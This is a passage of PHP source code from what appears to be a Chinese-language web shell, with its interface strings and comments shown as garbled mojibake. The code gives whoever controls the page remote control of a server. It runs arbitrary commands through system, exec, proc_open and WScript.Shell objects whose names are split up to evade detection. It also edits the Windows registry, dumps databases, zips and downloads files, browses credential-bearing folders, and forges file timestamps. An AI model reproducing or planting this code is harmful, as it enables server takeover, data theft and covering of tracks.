while ($currow = mysql_fetch_array($result)) {
|
||
if (isset($table[$currow[0]])) {
|
||
sqldumptable($currow[0], $filehandle);
|
||
fwrite($filehandle,"\n\n\n");
|
||
}
|
||
}
|
||
fclose($filehandle);
|
||
echo "<22><><EFBFBD>ݿ<EFBFBD><DDBF>ѳɹ<D1B3><C9B9><EFBFBD><EFBFBD>ݵ<EFBFBD> <a href=\"".$path."\" target=\"_blank\">".$path."</a>";
|
||
mysql_close();
|
||
} else {
|
||
echo "<22><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>,<2C><>ȷ<EFBFBD><C8B7>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>п<EFBFBD>дȨ<D0B4><C8A8>!";
|
||
}
|
||
}
|
||
}
|
||
}
|
||
elseif($downrar) {
|
||
if (!empty($dl)) {
|
||
if(eregi("unzipto:",$localfile)){
|
||
$path = "".$dir."/".str_replace("unzipto:","",$localfile)."";
|
||
$zip = new Zip;
|
||
$zipfile=$dir."/".$dl[0];
|
||
$array=$zip->get_list($zipfile);
|
||
$count=count($array);
|
||
$f=0;
|
||
$d=0;
|
||
for($i=0;$i<$count;$i++) {
|
||
if($array[$i][folder]==0) {
|
||
if($zip->Extract($zipfile,$path,$i)>0) $f++;
|
||
}
|
||
else $d++;
|
||
}
|
||
if($i==$f+$d) echo "$dl[0] <20><>ѹ<EFBFBD><D1B9>".$path."<22>ɹ<EFBFBD><br>($f <20><><EFBFBD>ļ<EFBFBD> $d <20><>Ŀ¼)";
|
||
elseif($f==0) echo "$dl[0] <20><>ѹ<EFBFBD><D1B9>".$path."ʧ<><CAA7>";
|
||
else echo "$dl[0] δ<><CEB4>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><br>(<28>ѽ<EFBFBD>ѹ $f <20><><EFBFBD>ļ<EFBFBD> $d <20><>Ŀ¼)";
|
||
}else{
|
||
$zipfile="";
|
||
$zip = new Zip;
|
||
for($k=0;isset($dl[$k]);$k++)
|
||
{
|
||
$zipfile=$dir."/".$dl[$k];
|
||
if(is_dir($zipfile))
|
||
{
|
||
unset($zipfilearray);
|
||
addziparray($dl[$k]);
|
||
for($i=0;$zipfilearray[$i];$i++)
|
||
{
|
||
$filename=$zipfilearray[$i];
|
||
$filesize=@filesize($dir."/".$zipfilearray[$i]);
|
||
$fp=@fopen($dir."/".$filename,rb);
|
||
$zipfiles[]=Array($filename,@fread($fp,$filesize));
|
||
@fclose($fp);
|
||
}
|
||
}
|
||
else
|
||
{
|
||
$filename=$dl[$k];
|
||
$filesize=@filesize($zipfile);
|
||
$fp=@fopen($zipfile,rb);
|
||
$zipfiles[]=Array($filename,@fread($fp,$filesize));
|
||
@fclose($fp);
|
||
}
|
||
}
|
||
$zip->Add($zipfiles,1);
|
||
$code = $zip->get_file();
|
||
$ck = "_QQ44997_".date("Y-m-d",time())."";
|
||
if(empty($localfile)){
|
||
header("Content-type: application/octet-stream");
|
||
header("Accept-Ranges: bytes");
|
||
header("Accept-Length: ".strlen($code));
|
||
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
|
||
echo $code;
|
||
exit;
|
||
}else{
|
||
$fp = @fopen("".$dir."/".$localfile."","w");
|
||
echo $msg=@fwrite($fp,$code) ? "ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>".$dir."/".$localfile."<22><><EFBFBD>سɹ<D8B3><C9B9><EFBFBD>!" : "Ŀ¼".$dir."<22><EFBFBD>дȨ<D0B4><C8A8>!";
|
||
@fclose($fp);
|
||
}
|
||
}
|
||
} else {
|
||
echo "<22><>ѡ<EFBFBD><D1A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5>ļ<EFBFBD>!";
|
||
}
|
||
}
|
||
// Shell.Application <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>
|
||
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
|
||
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
|
||
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
|
||
echo ($a=='0') ? "<22><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE>ɹ<EFBFBD>ִ<EFBFBD><D6B4>!" : "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>!";
|
||
}
|
||
// <20>鿴PHP<48><50><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>״<EFBFBD><D7B4>
|
||
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
|
||
echo "<22><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD> ".$_POST['phpvarname']." <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ".getphpcfg($_POST['phpvarname'])."";
|
||
}
|
||
// <20><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD>
|
||
elseif(($regread) AND !empty($_POST['readregname'])) {
|
||
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
|
||
var_dump(@$shell->RegRead($_POST['readregname']));
|
||
}
|
||
|
||
// д<><D0B4>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
|
||
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
|
||
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
|
||
echo ($a=='0') ? "д<><D0B4>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD>ɹ<EFBFBD>!" : "д<><D0B4> ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." ʧ<><CAA7>!";
|
||
}
|
||
// ɾ<><C9BE>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||
elseif(($regdelete) AND !empty($_POST['delregname'])) {
|
||
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
|
||
$a = @$shell->RegDelete($_POST['delregname']);
|
||
echo ($a=='0') ? "ɾ<><C9BE>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD>ɹ<EFBFBD>!" : "ɾ<><C9BE> ".$_POST['delregname']." ʧ<><CAA7>!";
|
||
}
|
||
else {
|
||
echo "$notice";
|
||
echo "<a href=\"?dir=C:/Program%20Files/\">Program</a> | <a href=\"?dir=C:/Documents%20and%20Settings/All%20Users/Application%20Data/Symantec/pcAnywhere\">pcAnywhere</a> | <a href=\"?dir=C:/Documents%20and%20Settings/All%20Users/<2F><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>˵<EFBFBD>/<2F><><EFBFBD><EFBFBD>\"><3E><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD></a> | <a href=\"?dir=C:/Documents%20and%20Settings/All%20Users\">AllUsers</a> | <a href=\"?dir=C:/Program Files/RhinoSoft.com/Serv-U\">Serv-U</a> | ";
|
||
for ($i=66;$i<=90;$i++){$drive= chr($i).':';
|
||
if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$drive/\" href=\"?dir=$drive/\">$drive\\</a>";}
|
||
}
|
||
|
||
}
|
||
echo "</b></p>\n";
|
||
/*===================== ִ<>в<EFBFBD><D0B2><EFBFBD> <20><><EFBFBD><EFBFBD> =====================*/
|
||
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
|
||
$tb->tableheader();
|
||
?>
|
||
<tr bgcolor="#cccccc">
|
||
<td align="center" nowrap width="27%"><b><3E>ļ<EFBFBD></b></td>
|
||
<td align="center" nowrap width="16%"><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></b></td>
|
||
<td align="center" nowrap width="16%"><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></b></td>
|
||
<td align="center" nowrap width="11%"><b><3E><>С</b></td>
|
||
<td align="center" nowrap width="6%"><b><3E><><EFBFBD><EFBFBD></b></td>
|
||
<td align="center" nowrap width="24%"><b><3E><><EFBFBD><EFBFBD></b></td>
|
||
</tr>
|
||
<FORM action="" method="POST">
|
||
<?php
|
||
// Ŀ¼<C4BF>б<EFBFBD>
|
||
$dirs=@opendir($dir);
|
||
$dir_i = '0';
|
||
while ($file=@readdir($dirs)) {
|
||
$filepath="$dir/$file";
|
||
$a=@is_dir($filepath);
|
||
if($a=="1"){
|
||
if($file!=".." && $file!=".") {
|
||
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
|
||
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
|
||
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
|
||
echo "<tr class=".getrowbg().">\n";
|
||
echo " <td style=\"padding-left: 5px;\"><INPUT type=checkbox value=$file name=dl[]> [<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
|
||
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
|
||
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
|
||
echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=search&dir=".$filepath."\">Search</a></td>\n";
|
||
echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n";
|
||
echo " <td align=\"center\" nowrap>| <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."','<27><>ȷ<EFBFBD><C8B7>Ҫɾ<D2AA><C9BE> $file Ŀ¼<C4BF><C2BC>? \\n\\n<><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF>ǿ<EFBFBD>,<2C>˴β<CBB4><CEB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD>Ŀ¼<C4BF>µ<EFBFBD><C2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>!','1')\">ɾ<><C9BE></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($file)."\"><3E><><EFBFBD><EFBFBD></a> |</td>\n";
|
||
echo "</tr>\n";
|
||
$dir_i++;
|
||
} else {
|
||
if($file=="..") {
|
||
echo "<tr class=".getrowbg().">\n";
|
||
echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><3E><><EFBFBD><EFBFBD><EFBFBD>ϼ<EFBFBD>Ŀ¼</a></td>\n";
|
||
echo "</tr>\n";
|
||
}
|
||
}
|
||
}
|
||
}// while
|
||
@closedir($dirs);
|
||
?>
|
||
<tr bgcolor="#cccccc">
|
||
<td colspan="6" height="5"></td>
|
||
</tr>
|
||
<?
|
||
// <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||
$dirs=@opendir($dir);
|
||
$file_i = '0';
|
||
while ($file=@readdir($dirs)) {
|
||
$filepath="$dir/$file";
|
||
$a=@is_dir($filepath);
|
||
if($a=="0"){
|
||
$size=@filesize($filepath);
|
||
$size=$size/1024 ;
|
||
$size= @number_format($size, 3);
|
||
if (@filectime($filepath) == @filemtime($filepath)) {
|
||
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
|
||
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
|
||
} else {
|
||
$ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
|
||
$mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
|
||
}
|
||
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
|
||
echo "<tr class=".getrowbg().">\n";
|
||
echo " <td style=\"padding-left: 5px;\">";
|
||
echo "<INPUT type=checkbox value=$file name=dl[]>";
|
||
echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
|
||
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
|
||
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
|
||
echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";
|
||
echo " <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";
|
||
echo " <td align=\"center\" nowrap><a href=\"?downfile=".urlencode($filepath)."\"><3E><><EFBFBD><EFBFBD></a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\"><3E>༭</a> | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."','<27><>ȷ<EFBFBD><C8B7>Ҫɾ<D2AA><C9BE> $file <20>ļ<EFBFBD><C4BC><EFBFBD>?','2')\">ɾ<><C9BE></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."\"><3E><><EFBFBD><EFBFBD></a> | <a href=\"?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."\">ʱ<><CAB1></a></td>\n";
|
||
echo "</tr>\n";
|
||
$file_i++;
|
||
}
|
||
}// while
|
||
@closedir($dirs);
|
||
if(get_cfg_var('safemode'))$z = "<a href=\"#\" title=\"ʹ<><CAB9>˵<EFBFBD><CBB5>\" onclick=\"alert('PhpΪ<70><CEAA>ȫģʽ<C4A3><CABD><EFBFBD><EFBFBD><EFBFBD>ٴ<EFBFBD><D9B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>ʱ\\n\\n<><6E>д<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1>ط<EFBFBD><D8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>')\">(?)</a>";
|
||
else $z = "<a href=\"#\" title=\"ʹ<><CAB9>˵<EFBFBD><CBB5>\" onclick=\"alert('Php<68><70><EFBFBD>зǰ<D0B7>ȫģʽ<C4A3><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȱ<EFBFBD><C8B0>Ȱ<EFBFBD><C8B0>Ȱ<EFBFBD><C8B0><EFBFBD>\\n\\n<><6E>д<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1>ط<EFBFBD><D8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>')\">(?)</a>";
|
||
$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>'.$tb->makeinput('localfile','','','text','15').''.$tb->makeinput('downrar','ѡ<>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػر<F2B1BEB5><D8B1><EFBFBD>','','submit').'  '.$z.'</td><td align="right">'.$dir_i.' <20><>Ŀ¼ / '.$file_i.' <20><><EFBFBD>ļ<EFBFBD></td></tr></table>','center',getrowbg(),'','','6');
|
||
|
||
echo "</FORM>\n";
|
||
echo "</table>\n";
|
||
}// end dir
|
||
|
||
elseif ($_GET['action'] == "editfile") {
|
||
if(empty($newfile)) {
|
||
$filename="$dir/$editfile";
|
||
$fp=@fopen($filename,"r");
|
||
$contents=@fread($fp, filesize($filename));
|
||
@fclose($fp);
|
||
$contents=htmlspecialchars($contents);
|
||
}else{
|
||
$editfile=$newfile;
|
||
$filename = "$dir/$editfile";
|
||
}
|
||
$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27>½<EFBFBD>/<2F>༭<EFBFBD>ļ<EFBFBD>');
|
||
$tb->tdbody('<27><>ǰ<EFBFBD>ļ<EFBFBD>: '.$tb->makeinput('editfilename',$filename).' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> Php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <input type="checkbox" name="change" value="yes" onclick="javascript:alert(\'<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܻ<EFBFBD><DCBB><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>php<68><70><EFBFBD>롣\\n\\n<><6E>php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>gzinflate<74><65><EFBFBD><EFBFBD><EFBFBD>벻Ҫʹ<D2AA>ã<EFBFBD>\')"> ');
|
||
$tb->tdbody($tb->maketextarea('filecontent',$contents));
|
||
$tb->makehidden('do','doeditfile');
|
||
$tb->formfooter('1','30');
|
||
}//end editfile
|
||
|
||
elseif ($_GET['action'] == "rename") {
|
||
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
|
||
$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><EFBFBD><DEB8>ļ<EFBFBD><C4BC><EFBFBD>');
|
||
$tb->makehidden('oldname',$dir."/".$nowfile);
|
||
$tb->makehidden('dir',$dir);
|
||
$tb->tdbody('<27><>ǰ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>: '.basename($nowfile));
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD>Ϊ: '.$tb->makeinput('newname'));
|
||
$tb->makehidden('do','rename');
|
||
$tb->formfooter('1','30');
|
||
}//end rename
|
||
|
||
elseif ($_GET['action'] == "eval") {
|
||
$action = "?dir=".urlencode($dir)."";
|
||
$tb->tableheader();
|
||
$tb->formheader(''.$action.' "target="_blank' ,'ִ<><D6B4>php<68>ű<EFBFBD>');
|
||
$tb->tdbody($tb->maketextarea('phpcode',$contents));
|
||
$tb->formfooter('1','30');
|
||
|
||
}
|
||
elseif ($_GET['action'] == "fileperm") {
|
||
$action = "?dir=".urlencode($dir)."&file=".$file;
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><EFBFBD><DEB8>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>');
|
||
$tb->tdbody('<27><EFBFBD> '.$file.' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
|
||
$tb->makehidden('file',$file);
|
||
$tb->makehidden('dir',urlencode($dir));
|
||
$tb->makehidden('do','editfileperm');
|
||
$tb->formfooter('1','30');
|
||
}//end fileperm
|
||
|
||
elseif ($_GET['action'] == "newtime") {
|
||
$action = "?dir=".urlencode($dir);
|
||
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
|
||
$tb->tableheader();
|
||
$tb->formheader($action,'<27><>¡<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>');
|
||
$tb->tdbody("<22><EFBFBD><DEB8>ļ<EFBFBD>: ".$tb->makeinput('curfile',$file,'readonly')." <20><> Ŀ<><C4BF><EFBFBD>ļ<EFBFBD>: ".$tb->makeinput('tarfile','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>'),'center','2','30');
|
||
$tb->makehidden('do','domodtime');
|
||
$tb->formfooter('','30');
|
||
$tb->formheader($action,'<27>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>');
|
||
$tb->tdbody('<br><ul><li><3E><>Ч<EFBFBD><D0A7>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD>Χ<EFBFBD>ǴӸ<C7B4><D3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 1901 <20><> 12 <20><> 13 <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 20:45:54 <20><> 2038<33><38> 1 <20><> 19 <20><> <20><><EFBFBD>ڶ<EFBFBD> 03:14:07<br>(<28><><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD> 32 λ<>з<EFBFBD><D0B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Сֵ<D0A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>)</li><li>˵<><CBB5>: <20><>ȡ 01 <20><> 30 ֮<><D6AE>, ʱȡ 0 <20><> 24 ֮<><D6AE>, <20>ֺ<EFBFBD><D6BA><EFBFBD>ȡ 0 <20><> 60 ֮<><D6AE>!</li></ul>','left');
|
||
$tb->tdbody('<27><>ǰ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>: '.$file);
|
||
$tb->makehidden('curfile',$file);
|
||
$tb->tdbody('<27><EFBFBD>Ϊ: '.$tb->makeinput('year','1984','','text','4').' <20><> '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' <20><> '.$tb->makeinput('data','18','','text','2').' <20><> '.$tb->makeinput('hour','20','','text','2').' ʱ '.$tb->makeinput('minute','00','','text','2').' <20><> '.$tb->makeinput('second','00','','text','2').' <20><>','center','2','30');
|
||
$tb->makehidden('do','modmytime');
|
||
$tb->formfooter('1','30');
|
||
}//end newtime
|
||
|
||
elseif ($_GET['action'] == "shell") {
|
||
$action = "??action=shell&dir=".urlencode($dir);
|
||
$tb->tableheader();
|
||
$tb->tdheader('WebShell Mode');
|
||
if (substr(PHP_OS, 0, 3) == 'WIN') {
|
||
$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
|
||
$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
|
||
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
|
||
$tb->tdbody('<27><EFBFBD><DEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>г<EFBFBD><D0B3><EFBFBD> <20><> <20>ļ<EFBFBD>: '.$tb->makeinput('program',$program).' <20><><EFBFBD><EFBFBD>: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');
|
||
$tb->makehidden('do','programrun');
|
||
echo "</form>\n";
|
||
}
|
||
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
|
||
if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
|
||
$tb->tdbody('<27><>ʾ:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD>.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եõ<D4B5>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. ');
|
||
$tb->tdbody('proc_open<65><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>費<EFBFBD><E8B2BB>Ĭ<EFBFBD>ϵ<EFBFBD>winntϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>,<2C><><EFBFBD><EFBFBD><EFBFBD>ļǵ<C4BC>д<EFBFBD>˳<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>.');
|
||
$tb->tdbody('proc_open<65><6E><EFBFBD><EFBFBD>Ҫʹ<D2AA>õ<EFBFBD>cmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>:'.$tb->makeinput('cmd',$cmd,'','text','30').'(Ҫ<><D2AA><EFBFBD><EFBFBD>linuxϵͳ<CFB5><CDB3><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>İ<DEB8>)');
|
||
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');
|
||
$tb->tdbody('ѡ<><D1A1>ִ<EFBFBD>к<EFBFBD><D0BA><EFBFBD>: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));
|
||
?>
|
||
<tr class="secondalt">
|
||
<td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
|
||
if (!empty($_POST['command'])) {
|
||
if ($execfunc=="system") {
|
||
system($_POST['command']);
|
||
} elseif ($execfunc=="passthru") {
|
||
passthru($_POST['command']);
|
||
} elseif ($execfunc=="exec") {
|
||
$result = exec($_POST['command']);
|
||
echo $result;
|
||
} elseif ($execfunc=="shell_exec") {
|
||
$result=shell_exec($_POST['command']);
|
||
echo $result;
|
||
} elseif ($execfunc=="popen") {
|
||
$pp = popen($_POST['command'], 'r');
|
||
$read = fread($pp, 2096);
|
||
echo $read;
|
||
pclose($pp);
|
||
} elseif ($execfunc=="wscript") {
|
||
$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
|
||
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
|
||
$stdout = $exec->StdOut();
|
||
$stroutput = $stdout->ReadAll();
|
||
echo $stroutput;
|
||
} elseif($execfunc=="proc_open"){
|
||
$descriptorspec = array(
|
||
0 => array("pipe", "r"),
|
||
1 => array("pipe", "w"),
|
||
2 => array("pipe", "w")
|
||
);
|
||
$process = proc_open("".$_POST['cmd']."", $descriptorspec, $pipes);
|
||
if (is_resource($process)) {
|
||
|
||
// д<><D0B4><EFBFBD><EFBFBD>
|
||
fwrite($pipes[0], "".$_POST['command']."\r\n");
|
||
fwrite($pipes[0], "exit\r\n");
|
||
fclose($pipes[0]);
|
||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||
while (!feof($pipes[1])) {
|
||
echo fgets($pipes[1], 1024);
|
||
}
|
||
fclose($pipes[1]);
|
||
while (!feof($pipes[2])) {
|
||
echo fgets($pipes[2], 1024);
|
||
}
|
||
fclose($pipes[2]);
|
||
|
||
proc_close($process);
|
||
}
|
||
} else {
|
||
system($_POST['command']);
|
||
}
|
||
}
|
||
?></textarea></td>
|
||
</tr>
|
||
</form>
|
||
</table>
